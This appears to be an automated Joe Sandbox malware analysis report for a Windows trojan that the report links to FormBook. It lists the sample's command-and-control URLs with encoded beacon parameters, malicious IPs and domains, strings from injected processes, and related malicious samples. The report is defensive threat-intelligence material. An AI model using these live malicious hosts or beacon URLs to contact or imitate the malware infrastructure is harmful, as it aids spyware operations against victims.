http://www.promasterev.shop/abrg/	true	unknown
http://www.falconclub.online/sld7/	true	unknown
http://www.demovix.xyz/azuc/?WX=rnWllP5PLlhLLtj&tpTd=IEG0cbQocDdgsf0hXa+uAMZkMIV+L9dmDWmvXBjU8TDCB1WiaKjeRQjMK7ZBG/72TlyV3qB8EHQj0nSZZfMRzC5BhxJ3N2wZ76F+LQzPhJ8EwwRHzQ==	true	unknown
http://www.wajf.net/eoqq/?tpTd=WfaN7QdSX3VNxg1q9fkfNv4hQq9KYwkNivs6k+R5An5RjxagqDfSiLpQ7QxvwrMnBdqTEtPHhZ8GpglWyWgxMX7+0Hc5PxIPKPsdiKxnaB1g3ZY6yQ==&WX=rnWllP5PLlhLLtj	true	unknown
http://www.promasterev.shop/abrg/?WX=rnWllP5PLlhLLtj&tpTd=GnAJmiRPPiyH2TmfuBVnsZoXdGf0FUPFySgQhtVOM4GwnDq9Dnvh9ePCWYtJxLLAU+yG0d2c2V85YMiF3u+CH4Whw+Z8K8Lme5ABmnpnJdsWz6g8ww==	true	unknown
http://www.animekuid.xyz/7un9/?tpTd=4XOwgplivDvk/EZOubh+oM7E4qBWP2ACvZmroFPOKBmtqB+PCSuAHgoGD1T4VUWf5wIO7JPBcjeVh4zPUWd0ua1JHgAe3g4A1TGkBV6DNuNtOYfRKw==&WX=rnWllP5PLlhLLtj	true	unknown
http://www.drivedoge.website/c6cw/?WX=rnWllP5PLlhLLtj&tpTd=FqG002IG5EdskeSYnMZEmsgm4M8u04DOLE26DOOOZGkEYfdt2aoEMjGd+Okidkvsa7u+peDvqMbFWL8Zvpj7qkQAFbZLww+9EwijpyIUD9D3/88cfw==	true	unknown
http://www.doggieradio.net/szy7/	true	unknown
http://www.animekuid.xyz/7un9/	true	unknown
http://www.childlesscatlady.today/itly/?tpTd=tsSBdLA6gv84Y8GcYug/jDCyCw8YLYxClZSiOA0GXKnW8CsuEbQ9YFwfaGPSJlWcPZlV2TdpOPQww8tdSTouVEB2Caqu0WVs/8KUUJONnONwfAEA0g==&WX=rnWllP5PLlhLLtj	true	unknown
http://www.es-lidl.online/n2dv/?tpTd=bOYvUT8qr4FCBQL4q+W2EOsk7MURICY42o+fYfsEfk4vvxNQfURJ5XqGAnjP2wivb2XfCAEuS6lNjanH3pgkh9rgu/pEJ/+PKIa4gq6/Dbg2n2byoA==&WX=rnWllP5PLlhLLtj	true	unknown
http://www.multileveltravel.world/hfue/?WX=rnWllP5PLlhLLtj&tpTd=GzF3o7eza1dU4F476cHHeral/cYJG+FCwgJMIz0HPlfrSCMBDVuQfjGNmxBd7moVrhCGY2hY7MCgK+MnekgstTp0z3ZjcP9rk68ek43BHqQDCfcAeg==	true	unknown
http://www.childlesscatlady.today/itly/	true	unknown
http://www.torex33.online/hd7m/?tpTd=sLbEVsfW73VtVB0Jvj7gC+ceEVX4meQWoUuArYo60q3nO/kAxb5tEPXYoxmPYHkEXIEIOfWFMW/cSWDV+KoY2jgQgwLtxzjq6i8n+9HhH6xOpB1tMw==&WX=rnWllP5PLlhLLtj	true	unknown
http://www.es-lidl.online/n2dv/	true	unknown
http://www.drivedoge.website/c6cw/	true	unknown
http://www.torex33.online/hd7m/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RpcPing.exe, 00000005.00000003.2078909862.000000000766D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://dts.gnpge.com	auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	RpcPing.exe, 00000005.00000003.2078909862.000000000766D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reg.ru	RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/pics/29590/bg1.png)	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.palcoconnector.net/Wire_Connectors.cfm?fp=c6vU2rntkHymqt5x3kJq4vMX0U8fOmaM0f8rwBVXAAN39Ji	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.palcoconnector.net/__media__/js/trademark.php?d=palcoconnector.net&type=ns	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://cdn.consentmanager.net	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css	RpcPing.exe, 00000005.00000002.4129603004.0000000003FB0000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000038B0000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RpcPing.exe, 00000005.00000003.2078909862.000000000766D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.palcoconnector.net/Ntsc_Pal_Adapter.cfm?fp=c6vU2rntkHymqt5x3kJq4vMX0U8fOmaM0f8rwBVXAAN39J	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.reg.ru/web-sites/?utm_source=www.torex33.online&utm_medium=parking&utm_campaign=s_land_c	RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/pics/10667/netsol-logos-2020-165-50.jpg	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.reg.ru/domain/new/?utm_source=www.torex33.online&utm_medium=parking&utm_campaign=s_land_	RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RpcPing.exe, 00000005.00000003.2078909862.000000000766D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.palcoconnector.net/__media__/design/underconstructionnotice.php?d=palcoconnector.net	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.reg.ru/dedicated/?utm_source=www.torex33.online&utm_medium=parking&utm_campaign=s_land_s	RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/pics/28903/search.png)	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	RpcPing.exe, 00000005.00000002.4129603004.0000000003FB0000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000038B0000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/pics/28905/arrrow.png)	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.reg.ru/web-sites/website-builder/?utm_source=www.torex33.online&utm_medium=parking&utm_c	RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://delivery.consentmanager.net	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.palcoconnector.net/Cable_Connectors.cfm?fp=c6vU2rntkHymqt5x3kJq4vMX0U8fOmaM0f8rwBVXAAN39J	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/pics/468/netsol-favicon-2020.jpg	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://jino.ru	RpcPing.exe, 00000005.00000002.4129603004.000000000491C000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.000000000421C000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RpcPing.exe, 00000005.00000003.2078909862.000000000766D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.palcoconnector.net/Pal_TV.cfm?fp=c6vU2rntkHymqt5x3kJq4vMX0U8fOmaM0f8rwBVXAAN39JiqpfnJPBMT	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.reg.ru/hosting/?utm_source=www.torex33.online&utm_medium=parking&utm_campaign=s_land_hos	RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RpcPing.exe, 00000005.00000003.2078909862.000000000766D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://animekuid.xyz/7un9/?tpTd=4XOwgplivDvk/EZOubh	RpcPing.exe, 00000005.00000002.4129603004.0000000003C8C000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.000000000358C000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://help.reg.ru/support/ssl-sertifikaty/1-etap-zakaz-ssl-sertifikata/kak-zakazat-besplatnyy-ssl-	RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	RpcPing.exe, 00000005.00000003.2078909862.000000000766D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://parking.reg.ru/script/get_domain_data?domain_name=www.torex33.online&rand=	RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.Palcoconnector.net	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	RpcPing.exe, 00000005.00000003.2078909862.000000000766D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.reg.ru/whois/?check=&dname=www.torex33.online&reg_source=parking_auto	RpcPing.exe, 00000005.00000002.4129603004.0000000004AAE000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000043AE000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.palcoconnector.net/RCA_Connectors.cfm?fp=c6vU2rntkHymqt5x3kJq4vMX0U8fOmaM0f8rwBVXAAN39Jiq	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/gsap/3.1.1/gsap.min.js	RpcPing.exe, 00000005.00000002.4129603004.0000000003FB0000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.00000000038B0000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.torex33.online	auuGcaPMTDojV.exe, 00000008.00000002.4131107461.000000000500D000.00000040.80000000.00040000.00000000.sdmp	false		unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf	RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RpcPing.exe, 00000005.00000003.2078909862.000000000766D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i1.cdn-image.com/__media__/js/min.js?v2.3	RpcPing.exe, 00000005.00000002.4131706489.0000000005BE0000.00000004.00000800.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129603004.0000000004142000.00000004.10000000.00040000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000003A42000.00000004.00000001.00040000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
156.242.132.82	www.shanhaiguan.net	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	true
3.91.127.116	cdl-lb-1356093980.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	true
208.91.197.27	www.palcoconnector.net	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
84.32.84.32	es-lidl.online	Lithuania	33922	NTT-LT-ASLT	true
74.208.236.25	www.falconclub.online	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
195.161.68.8	www.drivedoge.website	Russian Federation	8342	RTCOMM-ASRU	true
194.58.112.174	www.torex33.online	Russian Federation	197695	AS-REGRU	true
3.33.130.190	promasterev.shop	United States	8987	AMAZONEXPANSIONGB	true
199.192.19.19	www.demovix.xyz	United States	22612	NAMECHEAP-NETUS	true
203.175.9.128	animekuid.xyz	Indonesia	131303	FCCDCI-NET-PH4FPodiumRCBCPlazaTowerIPH	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529035
Start date and time:	2024-10-08 15:31:33 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	N2Qncau2rN.exe renamed because original name is a hash value
Original Sample Name:	d649d0beff04be12fbad6cdb84d0f2460208309f845c890f0fa162a27d61051f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@17/10
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 97% Number of executed functions: 51 Number of non-executed functions: 302
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target auuGcaPMTDojV.exe, PID 7152 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: N2Qncau2rN.exe

Simulations

Behavior and APIs

Time	Type	Description
09:33:59	API Interceptor	10363796x Sleep call for process: RpcPing.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
156.242.132.82	PURCHASE ORDER.exe	Get hash	malicious	FormBook	Browse	www.shanhaiguan.net/p2q3/
	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	www.shanhaiguan.net/p2q3/
	DEBIT NOTE 01ST SEP 2024.exe	Get hash	malicious	FormBook	Browse	www.shanhaiguan.net/p2q3/
	PROFOMA INVOICE SHEET.exe	Get hash	malicious	FormBook	Browse	www.shanhaiguan.net/p2q3/
208.91.197.27	RQ#071024.exe	Get hash	malicious	FormBook	Browse	www.martaschrimpf.info/7kkb/?LT=aZbPzzPX3H&O47=Vuf7L1aATO5bukV8eQdUIEmIaPgQ1yOpdgGCLe1WZLTuWrNT4xutTpWyFskV9eTAAXQRhMy7Zgc6S7zaREH9YM7/JG15xNb5scP+2oNSt8ijob5Hig==
	Products Order Catalogs20242.exe	Get hash	malicious	FormBook	Browse	www.dealsbyaustin.online/vikk/
	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	www.crochetpets.online/6s8n/
	Quote #260924.exe	Get hash	malicious	FormBook	Browse	www.martaschrimpf.info/7kkb/
	Quote #270924.exe	Get hash	malicious	FormBook	Browse	www.martaschrimpf.info/7kkb/
	Product Data Specifications_PDF.exe	Get hash	malicious	FormBook	Browse	www.kevin-torkelson.info/gekb/?Z0=5z2j4JvjBCmnxDGlKBgzTD3+HUD/dd2fumCOi9/ZiiqSem4bSPmiTeLNTUQRFOSACWspsHfkjQi2G8tl0kaRWA67inr6j8yvx+6PXqz9iyZ5+RA70tZ4RmMUT5lyJ2S3VdPbvKQVdTVJ&fRr0=tfAptZ
	PO5118000306 pdf.exe	Get hash	malicious	FormBook	Browse	www.brainchainllc.online/x7gn/
	QlHhDu2uh1.exe	Get hash	malicious	FormBook	Browse	www.kevin-torkelson.info/gekb/?vlJ0J=5z2j4JvjBCmnxDGlKBgzTD3+HUD/dd2fumCOi9/ZiiqSem4bSPmiTeLNTUQRFOSACWspsHfkjQi2G8tl0kaRWHr5s1DFjeSN2u6PXpPjiBw39CM7/tZ+YHIUNMByc2S3D5vP9Ng=&HDJP=Pnl8G6jPyrn
	Amended Proforma #U2013 SMWD5043.exe	Get hash	malicious	FormBook	Browse	www.inastra.online/55bv/
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	www.palcoconnector.net/c45k/
84.32.84.32	RQ#071024.exe	Get hash	malicious	FormBook	Browse	www.thepeatear.online/lu5k/?O47=ODXYj9SHKZJf+lLWSD5bWs33an1UuUSGPEbmaLn0QSdqh031jXaTcKLg1x+9N8O9by/Xp7E95P2c73d08b4WEpTb1KZHJdxLaSQTbLs0J3NdMMrdrQ==&LT=aZbPzzPX3H
	8mmZ7Bkoj1.exe	Get hash	malicious	FormBook	Browse	www.thepeatear.online/pt4m/
	Products Order Catalogs20242.exe	Get hash	malicious	FormBook	Browse	www.pinkpantys.shop/cyro/
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	www.pakmartcentral.shop/ml5l/
	Pending invoices.exe	Get hash	malicious	FormBook	Browse	www.b-ambu.com/a2tr/
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.agilizeimob.app/we8s/
	Narudzba ACH0036173.vbe	Get hash	malicious	FormBook, GuLoader	Browse	www.casesrep.site/7z6q/
	-pdf.bat.exe	Get hash	malicious	FormBook	Browse	www.dfmagazine.shop/7k8f/
	DHL_ 46773482.exe	Get hash	malicious	FormBook	Browse	www.agilizeimob.app/bnrj/
	Order.exe	Get hash	malicious	FormBook	Browse	www.servehimfoundation.org/wlo5/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.drivedoge.website	DHL_ 46773482.exe	Get hash	malicious	FormBook	Browse	195.161.68.8
www.drivedoge.website	z4Shipping_document_pdf.exe	Get hash	malicious	FormBook	Browse	195.161.68.8
cdl-lb-1356093980.us-east-1.elb.amazonaws.com	presupuesto urgente.exe	Get hash	malicious	FormBook, GuLoader	Browse	184.73.212.51
	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	44.207.39.65
	GestionPagoAProveedores_100920241725998901306_PDF.cmd	Get hash	malicious	Remcos, DBatLoader, FormBook	Browse	44.199.117.82
	PROFOMA INVOICE SHEET.exe	Get hash	malicious	FormBook	Browse	54.81.206.248
	0001.exe	Get hash	malicious	FormBook	Browse	54.81.206.248
	firmware.armv7l.elf	Get hash	malicious	Unknown	Browse	34.202.219.172
	firmware.i586.elf	Get hash	malicious	Unknown	Browse	54.208.224.251
	Scan405.exe	Get hash	malicious	FormBook	Browse	18.207.45.52
	ScanPDF_102.exe	Get hash	malicious	FormBook	Browse	34.195.23.156
	Brudstyrken.exe	Get hash	malicious	FormBook, GuLoader	Browse	52.203.107.22
www.palcoconnector.net	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	EGCS-875-S5-SMO M2A.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
www.broomeorchard.xyz	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	15.197.204.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
POWERLINE-AS-APPOWERLINEDATACENTERHK	na.elf	Get hash	malicious	Unknown	Browse	156.244.7.75
	na.elf	Get hash	malicious	Unknown	Browse	156.244.7.75
	na.elf	Get hash	malicious	Unknown	Browse	156.244.7.75
	na.elf	Get hash	malicious	Unknown	Browse	156.244.16.207
	na.elf	Get hash	malicious	Unknown	Browse	156.244.16.207
	na.elf	Get hash	malicious	Gafgyt	Browse	103.57.228.99
	na.elf	Get hash	malicious	Gafgyt	Browse	103.57.228.88
	sora.arm.elf	Get hash	malicious	Mirai	Browse	154.195.194.109
	na.elf	Get hash	malicious	Mirai	Browse	154.213.121.8
